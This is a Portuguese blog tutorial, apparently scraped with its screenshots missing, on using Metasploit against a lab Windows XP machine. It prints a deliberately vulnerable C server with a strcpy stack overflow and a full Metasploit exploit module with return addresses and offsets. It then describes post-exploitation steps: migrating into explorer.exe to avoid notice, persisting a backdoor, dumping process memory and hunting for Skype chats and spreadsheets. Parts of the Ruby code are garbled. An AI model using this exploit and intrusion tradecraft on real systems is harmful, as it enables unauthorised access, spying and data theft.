Um artigo sobre a utilização do framework Metasploit, vamos ver alguns passos básicos, como a exploração de um software vulneravel, criação de um backdoor, realizar o dump da memória RAM do alvo, verificar as possiveis conversas realizados pelo aplicativo Skype, entre outros. Let`s go!
Requisitos
Para este artigo, utilizei o seguinte ambiente e softwares:
1 - Backtrack 4 R1 instalado no HD (Hard Disc).
-----> Não ensinarei como instalar o Backtrack no HD, espero que você saiba, caso não, veja mais em Backtrack Hard Drive Install e para baixar a última versão do Backtrack, basta acessar este link e fazer o download:
BackTrack Download
Após o download, dê a permissão de execução:
root@bt:~# chmod +x Virtualbox-3.2.8-64453-Linux_x86.run
Em seguida, basta executá-lo:
root@bt:~# ./Virtualbox-3.2.8-64453-Linux_x86.run
Digite "yes" todas as vezes que lhe for perguntado. Pronto, seu virtualbox já está instalado. Foi criado um atalho em:
Menu Dragon --> System --> Oracle VM VirtualBox - Virtual Machine
Resta apenas criar a máquina virtual com o Windows XP, na qual não explicarei neste artigo.
Link
4 - Programa vulneravel em linguagem C, compile em seu Windows e o execute. Segue o código:
Link
#include
#include
#include
//load windows socket
#pragma comment(lib, "wsock32.lib")
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
void pr( char *str)
{
char buf[500]="";
strcpy(buf,str);
}
void sError(char *str)
{
MessageBox (NULL, str, "socket Error" ,MB_OK);
WSACleanup();
}
int main(int argc, char **argv)
{
WORD sockVersion;
WSADATA wsaData;
int rVal;
char Message[5000]="";
char buf[2000]="";
u_short LocalPort;
LocalPort = 200;
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket == INVALID_SOCKET)
{
sError("Failed socket()");
return SS_ERROR;
}
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
sError("Failed bind()");
WSACleanup();
return SS_ERROR;
}
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
sError("Failed listen()");
WSACleanup();
return SS_ERROR;
}
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
sError("Failed accept()");
WSACleanup();
return SS_ERROR;
}
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection Closed.\n");
break;
}
}
//Pass the data received to the function pr
pr(Message);
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
WSACleanup();
return SS_OK;
}
Não sabe compilar no windows? Procure por Dev-C++ ou LCC-Win32 no google que rápidinho você passará a saber!
http://pastebin.com/raw.php?i=H26uL5ih
#
#
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'
class Metasploit3 < info =" {})"> 'Custom vulnerable server stack overflow',
'Description' => %q{
This module exploits a stack overflow in a
custom vulnerable server.
},
'Author' => [ 'Peter Van Eeckhoutte' ],
'Version' => '$Revision: 9999 $',
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1400,
'BadChars' => "\x00\xff",
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP3 En',
{ 'Ret' => 0x7c874413, 'Offset' => 504 } ],
['Windows 2003 Server R2 SP2',
{ 'Ret' => 0x71c02b67, 'Offset' => 504 } ],
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
Opt::RPORT(200)
], self.class)
end
def exploit
connect
junk = make_nops(target['Offset'])
sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
sock.put(sploit)
handler
disconnect
end
end

Agora vamos procurar pelo exploit "exploit_stackoverflow", para isso digitamos o comando search. (Óbvio não?). Veja na figura abaixo.


Como pode ver acima, esta correndo tudo bem. Agora vamos usar o exploit que acabamos de adicionar para "ganharmos" acesso ao alvo.

Como pode ver acima, esta correndo tudo bem. Agora vamos usar o exploit que acabamos de adicionar para "ganharmos" acesso ao alvo.

Procure sempre migrar para um processo estável, pois dependendo do método utilizado para a intrusão no mundo real, o usuário que está utilizando o micro alvo, pode perceber algum "travamento" no software e fechá-lo. Para isso basta usar o comando "migrate" com a ajuda do "ps" mostrado acima. Procure pelo PID associado ao processo explorer.exe, que neste caso é o 1080.





Mais Roberto, você nem mostrou como funciona na prática este backdoor!! Calma, basta acessar o outro artigo do VoL para ver como fazer isso.
http://www.vivaolinux.com.br/artigo/Metasploit-Exploitation/?pagina=6


E voilà! Temos acesso a shell meterpreter novamente. Vamos supor que o usuário ao abrir o gerenciador de tarefas do windows, note o processo "wscript.exe" suspeito e o finaliza (Acho bem improvável, mais...)! Perdemos a conexão "momentâneamente" com o alvo. Sendo assim recomendo migrar para o processo "explorer.exe" para que também possamos utilizar outros scripts que só funcionam estando neste processo. Vamos utilizar o "AutoRunScript", para isso desconecte novamente do meterpreter, saia também do console do msf e execute o metasploit desde o inicio.

Veja a imagem acima e repare que realizou exatamente o que queriamos.

Depois de editado, basta executar da seguinte forma.


Neste caso, usarei especificando o PID
meterpreter> run process_dumping -p 976

Esperamos o termino e ele nos diz onde foi salvo o dump.

Pronto! Após o termino, vamos abrir uma nova shell e deixar o dump gerado mais "legível", para isso utilizamos o comando "strings", veja abaixo.

http://csitraining.co.uk/skypex.aspx

Ok, como já disse, vamos procurar por arquivos criados com o excel, ou seja, os arquivos que tenha extensão .xls. Veja na figura abaixo.


Muito bom...
ResponderExcluirQuero ver fazer isso em uma máquina fora da rede (pela internet) ou maquina virtual.
ResponderExcluirO Processo é aplicado em qualquer computador que contenha a vulnerabilidade, seja ele da rede interna ou não.
Excluir